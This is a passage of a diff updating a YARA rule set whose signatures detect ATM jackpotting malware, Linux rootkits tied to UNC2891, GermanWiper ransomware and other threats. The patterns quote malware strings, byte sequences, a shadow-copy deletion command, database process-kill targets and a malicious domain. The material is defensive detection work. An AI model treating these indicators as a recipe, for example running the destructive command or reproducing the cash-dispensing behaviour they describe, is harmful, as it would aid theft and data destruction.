?? ?? 74 ?? 48 8B 43 ?? 48 8B 53 + ?? 48 83 C0 ?? 48 89 02 83 7B ?? ?? 75 ?? 48 8B 73 ?? 48 85 F6 74 ?? 48 C7 43 ?? ?? + ?? ?? ?? 4C 8D 63 ?? 31 C9 31 D2 48 C7 43 ?? ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 + C0 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 43 ?? ?? ?? ?? ?? 48 81 C3 ?? ?? ?? + ?? 49 39 DD 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? + ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? + ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 + } + $hooking_syscalls_mechanism_p2 = { + 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 + ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? + ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 + C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 ?? + ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 + 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? + ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? + 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? + ?? 48 8B 90 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? + ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 80 ?? + ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 10 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 + ?? ?? ?? ?? 48 8B 50 ?? 48 C7 00 ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? + ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 80 + } + $hook_rmdir_1 = { + E8 ?? ?? ?? ?? 55 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 E5 41 57 41 56 41 55 41 54 53 + 48 89 FB 48 81 EC ?? ?? ?? ?? 4C 8B 67 ?? 48 8D BD ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? + ?? ?? 48 89 45 ?? 31 C0 48 C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 4C + 89 E6 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F3 48 AB 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 85 C0 7F ?? 48 8B 05 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 55 ?? 65 48 2B 14 + 25 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 41 5C 41 5D 41 5E 41 5F 5D + E9 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? + 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 83 F8 ?? 76 ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 31 C0 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 B4 05 + ?? ?? ?? ?? 40 38 B0 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 83 C0 ?? 48 83 F8 ?? 75 ?? BE + ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 8D 50 ?? 83 FA ?? 0F 8E ?? ?? ?? ?? 0F B6 B5 ?? ?? ?? ?? 83 FA ?? + 7E ?? 40 80 FE ?? 7E ?? 83 E8 ?? BA ?? ?? ?? ?? 85 C0 7F ?? EB ?? 39 C8 7E ?? 0F B6 + 8C 15 ?? ?? ?? ?? 88 8C 15 ?? ?? ?? ?? 89 D1 48 83 C2 ?? 83 F9 ?? 75 ?? 40 80 FE ?? + 0F 84 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 40 80 FE ?? 0F 84 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? + 40 80 FE ?? 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 63 90 ?? ?? ?? ?? 48 85 + D2 0F 8E ?? ?? ?? ?? 48 C7 C0 ?? ?? ?? ?? 49 C7 C5 ?? ?? ?? ?? EB ?? 48 83 C0 ?? 48 + 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 3B 10 75 ?? 48 8B 3D ?? ?? ?? ?? BA + } + $hook_rmdir_2 = { + BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 8B + 05 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48 C7 C2 ?? ?? ?? ?? BE ?? + ?? ?? ?? 49 C7 C6 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 89 C7 41 80 7D ?? ?? 4C 89 E9 75 ?? + 41 8B 06 85 C0 74 ?? 48 C7 C1 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 49 63 + FF 4D 89 F0 44 29 FE 48 C7 C2 ?? ?? ?? ?? 48 63 F6 48 01 C7 E8 ?? ?? ?? ?? 41 01 C7 + 49 83 C5 ?? 49 83 C6 ?? 49 81 FD ?? ?? ?? ?? 75 ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? + ?? 49 63 FF 48 C7 C2 ?? ?? ?? ?? 44 29 FE 48 63 F6 48 01 C7 E8 ?? ?? ?? ?? 46 8D 2C + 38 4D 63 ED 49 81 FD ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? BA ?? ?? ?? + ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 4C 89 EA 4C 89 FE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B + BD + } + $hook_rmdir_3 = { + 49 83 C5 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 41 80 7D ?? ?? 75 ?? 48 98 48 8D B5 ?? + ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 04 40 48 C1 E0 ?? C6 80 ?? ?? ?? ?? ?? 48 8B 95 + ?? ?? ?? ?? 4C 8D A0 ?? ?? ?? ?? 48 89 90 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? 49 89 44 24 ?? E8 ?? ?? ?? ?? 49 89 44 24 ?? E9 ?? ?? ?? ?? 40 80 FE ?? 0F 84 + ?? ?? ?? ?? 40 80 FE ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 0F + 8F ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 63 B8 ?? ?? ?? ?? 48 89 3D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 48 85 C0 0F 84 ?? ?? ?? + ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F BE 85 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 8D ?? + ?? ?? ?? BE ?? ?? ?? ?? 31 D2 EB ?? 8D 14 92 8D 54 50 ?? 0F BE 41 ?? 48 83 C1 ?? 84 + C0 0F 84 ?? ?? ?? ?? 8D 78 ?? 40 80 FF ?? 76 ?? 3C ?? 0F 85 ?? ?? ?? ?? 81 FA ?? ?? + ?? ?? 0F 8F ?? ?? ?? ?? 83 FE ?? 0F 8F ?? ?? ?? ?? 48 63 C6 83 EE ?? 89 94 85 ?? ?? + ?? ?? 31 D2 EB ?? 49 C7 C5 ?? ?? ?? ?? 49 8B 45 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 49 83 + 7D ?? ?? 0F 89 ?? ?? ?? ?? 4D 85 ED 0F 84 ?? ?? ?? ?? 41 8B 45 ?? BA ?? ?? ?? ?? 4C + 89 E7 48 8D B5 ?? ?? ?? ?? 4D 8D B5 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 + } + $hook_rmdir_4 = { + 8D 75 ?? 49 8D 7C 24 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 F7 E8 ?? + ?? ?? ?? 49 89 C7 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 89 C6 BA + ?? ?? ?? ?? 4C 89 F7 E8 ?? ?? ?? ?? 49 8D 7C 24 ?? 4C 89 F6 4C 89 FA E8 ?? ?? ?? ?? + BE ?? ?? ?? ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? 49 63 8D ?? ?? ?? ?? 83 C0 ?? 4D 8D 7D ?? 49 01 C4 48 81 F9 ?? ?? ?? ?? 0F + 87 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 4C 89 FF 48 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B 95 ?? ?? ?? ?? 4C 89 FE 4C 89 E7 E8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 4C 89 F7 + BA ?? ?? ?? ?? F3 48 AB 31 F6 4C 89 FF E8 ?? ?? ?? ?? 41 C7 45 ?? ?? ?? ?? ?? 49 C7 + 45 ?? ?? ?? ?? ?? 41 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 49 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? + ?? ?? 49 8D 95 ?? ?? ?? ?? 49 81 FD ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 49 89 D5 E9 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 89 C7 48 85 C0 0F 84 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 + C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 31 C0 E9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 C7 C6 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? BE ?? ?? ?? ?? 31 D2 48 63 F6 89 94 B5 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? C1 E2 ?? C1 E0 ?? 09 C2 8B 85 ?? ?? ?? ?? 0B 95 ?? ?? ?? ?? C1 E0 ?? + 09 C2 0F 84 + } + $hook_gdents64 = { + E8 ?? ?? ?? ?? 55 48 89 E5 41 57 41 56 41 55 41 54 53 48 83 EC ?? 48 8B 47 ?? 4C 8B + 6F ?? 48 89 45 ?? 48 8B 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 63 D8 89 45 + ?? 49 89 C4 48 89 DF E8 ?? ?? ?? ?? 48 89 45 ?? 45 85 E4 7E ?? 48 85 C0 74 ?? 48 89 + C7 31 D2 48 89 DE 49 89 C6 E8 ?? ?? ?? ?? 48 8B 75 ?? 48 89 DA 4C 89 F7 E8 ?? ?? ?? + ?? 49 89 C4 48 85 C0 74 ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 D8 5B 41 5C + 41 5D 41 5E 41 5F 5D E9 ?? ?? ?? ?? 44 89 EF 48 C7 C3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + C7 45 ?? ?? ?? ?? ?? 89 45 ?? EB ?? 8B 45 ?? 85 C0 74 ?? 4C 89 75 ?? 41 0F B7 46 ?? + 4C 63 6D ?? 49 01 C4 4D 39 EC 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 83 7D ?? ?? 4E 8D 34 20 + 75 ?? 4D 89 F5 49 83 C5 ?? 0F 84 ?? ?? ?? ?? 49 C7 C7 ?? ?? ?? ?? EB ?? 49 83 C7 ?? + 4C 39 FB 74 ?? 41 80 3F ?? 74 ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B + 45 ?? 49 39 C6 74 ?? 48 8B 4D ?? 41 0F B7 46 ?? 66 01 41 ?? EB ?? 49 83 FE ?? 74 ?? + 41 81 7E ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 49 39 C6 75 ?? 0F B7 50 ?? 29 + 55 ?? 48 89 C7 4C 63 6D ?? 48 8D 34 10 4C 89 EA E8 ?? ?? ?? ?? 4D 39 EC 0F 82 ?? ?? + ?? ?? 4C 89 EB 49 81 FD ?? ?? ?? ?? 77 ?? 4C 8B 75 ?? 4C 89 EE BA ?? ?? ?? ?? 4C 89 + F7 E8 ?? ?? ?? ?? 48 8B 7D ?? 4C 89 EA 4C 89 F6 E8 + } condition: - uint32( 0 ) == 0x464c457f and all of them + uint32( 0 ) == 0x464C457F and ( all of ( $hooking_syscalls_mechanism_p* ) ) and ( all of ( $hook_rmdir_* ) ) and ( $hook_gdents64 ) } -rule R3C0NST_ATM_Malware_NVISOSPIT : FILE +/* + * YARA Rule Set + * Repository Name: R3c0nst + * Repository: https://github.com/fboldewin/YARA-rules/ + * Retrieval Date: 2026-03-01 + * Git Commit: 54e9e6899b258b72074b2b4db6909257683240c2 + * Number of Rules: 26 + * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) + * + * + * LICENSE + * + * NO LICENSE SET + */ +rule R3C0NST_ATM_Malware_XFS_DIRECT : FILE { meta: - description = "Detects ATM Malware NVISOSPIT" + description = "Detects ATM Malware XFS_DIRECT" author = "Frank Boldewin (@r3c0nst)" - id = "faf9e78e-9d7a-5c9b-a08e-90b895333d5c" - date = "2019-05-31" - modified = "2019-05-31" - reference = "https://twitter.com/r3c0nst/status/1134403094157115392" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.NVISOSPIT.yar#L3-L18" + id = "d1551c50-d3d2-56fd-a6b7-198d3a26ac72" + date = "2019-10-18" + modified = "2019-10-19" + reference = "https://twitter.com/r3c0nst/status/1185237040583106560" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFS_DIRECT.yar#L1-L37" license_url = "N/A" - hash = "d7ce7b152f0da49e96fa32a9336b35253905d9940b001288d0df55d8f8b3951f" - logic_hash = "11c1fea74b72a7821ce76a95846a2caff7354e71906496d9530cb44339a49a98" + logic_hash = "844a334d0eb8516c0ef3780e48e3dbc8e23d41c80bdff10f01407b775e72709e" score = 75 quality = 90 tags = "FILE" + hash1 = "3e023949fecd5d06b3dff9e86e6fcac6a9ec6c805b93118db43fb4e84fe43ee0" + hash2 = "303f2a19b286ca5887df2a334f22b5690dda9f092e677786e2a8879044d8ad11" + hash3 = "15d50938e51ee414124314095d3a27aa477f40413f83d6a2b2a2007efc5a623a" + hash4 = "0f9cb4dc1ac2777be30145c3271c95a027758203d0de245ec390037f7325d79d" + hash5 = "141ae291ddae60fd1b232f543bc9b40f3a083521cd7330c427bb8fc5cdd23966" + hash6 = "66eb1a8134576db05382109eec7e297149f25a021aba5171d2f99aa49c381456" + hash7 = "ac20b12beefb2036595780aaf7ec29203e2e09b6237d93cd26eaa811cebd6665" + hash8 = "901fc474f50eb62edc526593208a7eec4df694e342ffc5b895d1dcec953c6899" + hash9 = "56548c26741b25b15c27a0de498c5e04c69b0c9250ba35e3a578bc2f05eedd07" + hash10 = "c89f1d562983398ab2d6dd75e4e30cc0e95eab57cdf48c4a17619dca9ecc0748" strings: - $MalwareName = "NVISOSPIT" ascii fullword - $DispenseCommand = "Calling WFSExecute() to dispense $%d" fullword ascii - $Code = {C6 85 7D F9 FF FF 4D C6 85 7E F9 FF FF 4D C6 85 7F F9 FF FF 4B} + $EncLayer1 = {0F B6 51 FC 30 50 FF 0F B6 11 30 10 0F B6 51 04 30 50 01 0F B6 51 08 30 50 02} + $EncLayer2 = {B8 4D 5A 00 00 89 33 66 39 06 75 ?? 8b ?? 3c} + $String1 = "NOW ENTER MASTER KEY" ascii nocase + $String2 = "Closing app, than delete myself." ascii nocase + $String3 = "Number of phisical cash units is:" ascii nocase + $String4 = "COULD NOT ENABLE or DISABLE connection" ascii nocase + $String5 = "XFS_DIRECT" ascii nocase + $String6 = "Take the money you snicky mother fucker :)" ascii nocase + $String7 = "ATM IS TEMPORARILY OUT OF SERVICE!" wide nocase + $Code1 = {D1 F8 89 44 24 10 DB 44 24 10 DC 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 35 2F 81 0B 00 A3} + $Code2 = {8B ?? ?? ?? 68 2E 01 00 00 52 C7 ?? 06 01 00 00 00} condition: - uint16( 0 ) == 0x5A4D and filesize < 100KB and 2 of them + uint16( 0 ) == 0x5A4D and ( filesize < 1500KB and all of ( $EncLayer* ) ) or ( filesize < 300KB and 4 of ( $String* ) and all of ( $Code* ) ) } -rule R3C0NST_ATM_Malware_Dispcashbr : FILE + +rule R3C0NST_ATM_Malware_ATMITCH : FILE { meta: - description = "Detects ATM Malware DispCashBR" + description = "Detects ATM Malware ATMItch" author = "Frank Boldewin (@r3c0nst)" - id = "17d22120-0ca2-5b27-9816-21ab4a6fb20c" - date = "2020-02-27" - modified = "2020-08-17" - reference = "https://twitter.com/r3c0nst/status/1232944566208286720" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispCashBR.yar#L1-L21" + id = "4d7e9615-9db6-5fc7-b95e-b8c7b2c034a8" + date = "2019-03-18" + modified = "2019-03-18" + reference = "https://github.com/fboldewin/YARA-rules/" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ATMItch.yar#L3-L14" license_url = "N/A" - logic_hash = "3fb5d62cb779ddc13e9b938290dfa9d2a3353d7969e639a662c1bcaca945de4d" + logic_hash = "4278cbcd8c465ba57b65a166e0bd48dcc73eae8660972478d3116bc0d73cf3c4" score = 75 - quality = 90 + quality = 82 tags = "FILE" - hash1 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036" strings: - $String1 = "(*) Dispensando: %lu" ascii nocase - $String2 = "COMANDO EXECUTADO COM SUCESSO" ascii nocase - $String3 = "[+] FOI SACADO: %lu R$ [+]" ascii nocase - $DbgStr1 = "_Get_Information_cdm_cuinfo" ascii nocase - $DbgStr2 = "_GET_INFORMATION_SHUTTER" ascii nocase - $Code1 = {C7 44 24 08 00 00 00 00 C7 44 24 04 2F 01 00 00 89 04 24 E8} - $Code2 = {C7 44 24 08 00 00 00 00 C7 44 24 04 17 05 00 00 89 04 24 E8} - $Code3 = {89 4C 24 08 C7 44 24 04 2E 01 00 00 89 04 24 E8} + $STRING1 = "SCREEN and think what does you DO" nocase ascii wide + $STRING2 = "Receive CASH UNIT info first, then LOOK on" nocase ascii wide + $STRING3 = "Unknown command mnemonic, check it and repeat again" nocase ascii wide + $STRING4 = "Catch some money, bitch!" nocase ascii wide condition: - uint16( 0 ) == 0x5A4D and filesize < 100KB and 2 of ( $String* ) and 1 of ( $DbgStr* ) and all of ( $Code* ) + ( uint16( 0 ) == 0x5A4D and 1 of them ) or ( pe.imphash ( ) == "655ad5439db0832c5a3f86d0a68ddaac" ) } -rule R3C0NST_UNC2891_Caketap +rule R3C0NST_Ransomware_Germanwiper : FILE { meta: - description = "Detects UNC2891 Rootkit Caketap" + description = "Detects RansomWare GermanWiper in Memory or in unpacked state" author = "Frank Boldewin (@r3c0nst)" - id = "9c2ffe3d-69ca-5f93-bdb1-40e449139dec" - date = "2022-03-30" - modified = "2023-01-05" - reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Caketap.yar#L1-L16" + id = "ea71849e-62a1-5b4d-9cf7-0728192361cc" + date = "2019-08-05" + modified = "2019-08-05" + reference = "https://twitter.com/r3c0nst/status/1158326526766657538" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Ransomware.Germanwiper.yar#L1-L25" license_url = "N/A" - logic_hash = "530a7d062a218217d2c05460428b2576c3fe2a6099c93940aabde73c513a8914" + logic_hash = "563ad59abd09d9a5fcfcf5ed48dc1e3c48b4bb198c20721d5af531da20d2b0d3" score = 75 - quality = 88 - tags = "" + quality = 90 + tags = "FILE" + hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c" + hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447" strings: - $str1 = ".caahGss187" ascii fullword - $str2 = "ipstat" ascii - $code1 = {41 80 7E 06 4B 75 ?? 41 80 7E 07 57 75 ?? 41 0F B6 46 2B} - $code2 = {41 C6 46 01 3D 41 C6 46 08 32} + $PurgeCode = {6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8} + $Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" nocase ascii + $Mutex2 = "cFgxTERNWEVhM2V" nocase ascii + $ProcessKill1 = "oracle.exe" nocase ascii + $ProcessKill2 = "sqbcoreservice.exe" nocase ascii + $ProcessKill3 = "isqlplussvc.exe" nocase ascii + $ProcessKill4 = "mysqld.exe" nocase ascii + $KillShadowCopies = "vssadmin.exe delete shadows" nocase ascii + $Domain1 = "cdnjs.cloudflare.com" nocase ascii + $Domain2 = "expandingdelegation.top" nocase ascii + $RansomNote = "Entschluesselungs_Anleitung.html" nocase ascii condition: - uint32( 0 ) == 0x464c457f and ( all of ( $code* ) or ( all of ( $str* ) and #str2 == 2 ) ) + uint16( 0 ) == 0x5A4D and filesize < 1000KB and 5 of them } - -rule R3C0NST_ATM_Malware_Dispenserxfs : FILE +rule R3C0NST_ATM_Malware_Xfscashncr : FILE { meta: - description = "No description has been set in the source file - R3c0nst" - author = "Frank Boldewin" - id = "52b1aa57-283b-54d7-bd1b-fb5da5f8d269" - date = "2019-02-27" - modified = "2019-02-28" - reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispenserXFS.yar#L3-L13" + description = "Detects ATM Malware XFSCashNCR" + author = "Frank Boldewin (@r3c0nst)" + id = "8886cd00-4f4a-5f25-99e0-0806f5e1b4b4" + date = "2019-08-28" + modified = "2019-08-28" + reference = "https://twitter.com/r3c0nst/status/1166773324548063232" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSCashNCR.yar#L1-L21" license_url = "N/A" - logic_hash = "0e588e2ba03d5eb750183600cce278e791a71f86fbf933ba9d7fda352bd37e2f" + logic_hash = "87f197058d4b515cb4829b5e403a96b88eb95cda81e53a9e1484df8c743d8c4a" score = 75 - quality = 59 + quality = 90 tags = "FILE" + hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0" strings: - $Code_Bytes = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 } - $XFSKILL = "injected mxsfs killer into" nocase ascii wide - $PDB = "C:\\_bkittest\\dispenser\\Release_noToken\\dispenserXFS.pdb" nocase ascii wide + $Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8} + $Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8} + $StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii + $StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii + $StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii + $StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii + $PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii + $LogFile = "XfsLog.txt" nocase ascii condition: - (hash.sha256 ( 0 , filesize ) == "867991ade335186baa19a227e3a044c8321a6cef96c23c98eef21fe6b87edf6a" ) or ( uint16( 0 ) == 0x5A4D and 1 of them ) + uint16( 0 ) == 0x5A4D and filesize < 1500KB and 4 of them } rule R3C0NST_ATM_Malware_Atmspitter : FILE @@ -60599,34 +60403,31 @@ rule R3C0NST_ATM_Malware_Atmspitter : FILE condition: (hash.sha256 ( 0 , filesize ) == "4035d977202b44666885f9781ac8755c799350a03838ff782eb730c0d7069958" ) or ( $Code_Bytes and $Service ) } -rule R3C0NST_ATM_Malware_Ripper : ATMRIPPER MALWARE FILE +rule R3C0NST_UNC2891_Steelcorgi : FILE { meta: - description = "Rule detects Thailand ATM Jackpot malware RIPPER (unpacked)" - author = "Frank Boldewin" - id = "38dfda5b-45cc-55d4-b619-91fa31c09a09" - date = "2016-08-01" - modified = "2019-02-27" + description = "Detects UNC2891 Steelcorgi packed ELF binaries" + author = "Frank Boldewin (@r3c0nst)" + id = "94da7da5-5fc3-5221-97d6-1854aa7b1959" + date = "2022-03-30" + modified = "2023-01-05" reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ripper.yar#L1-L22" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Steelcorgi.yar#L1-L17" license_url = "N/A" - logic_hash = "bb7b474330defe6d071b9595687d4510961055fa243a26306698c1e029a935f1" + logic_hash = "4f956b9eaec66bc606ffd0afa2fe9303194e9a8c12d4c3de6ab2334c9856dd99" score = 75 quality = 90 - tags = "ATMRIPPER, MALWARE, FILE" - malware_family = "ATM-malware RIPPER" + tags = "FILE" + hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170" + hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5" + hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547" strings: - $Card_Hash1 = "be59a724feae790b3f315edf71a8450888c021f113e3c2b471e174130c201852" nocase ascii - $Card_Hash2 = "f26a57da928d6f3e3480dfc7d03761161191bdb170e10ca15c7ac5de6912945c" nocase ascii - $Card_Hash3 = "692cdaf6e42ab3a4f307e5d047249f7b30ceddd6bc88f22ca032412419bd62b7" nocase ascii - $Card_Hash4 = "0679c7c0c9b0d6919c12cbc087e942d7bf48d3a78cd3ec80321fbfd1b33a1904" nocase ascii - $Code_Bytes1 = { 68 CB 00 00 00 50 FF 15 ?? ?? ?? ?? EB 19 } - $Code_Bytes2 = { E8 ?? ?? ?? ?? 83 C4 18 6A 02 53 53 FF 15 ?? ?? ?? ?? 68 74 12 43 00 8D 55 A4 } - $Service = "DBACKUP SERVICE" nocase wide + $pattern1 = {70 61 64 00 6C 63 6B 00} + $pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65} condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 2 of ( $Card_Hash* ) and all of ( $Code_Bytes* ) and filesize < 400KB and ( $Service in ( 0x2f000 .. 0x30000 ) ) + uint32( 0 ) == 0x464c457f and all of them } rule R3C0NST_Nighthawk_RAT : FILE @@ -60661,129 +60462,170 @@ rule R3C0NST_Nighthawk_RAT : FILE condition: 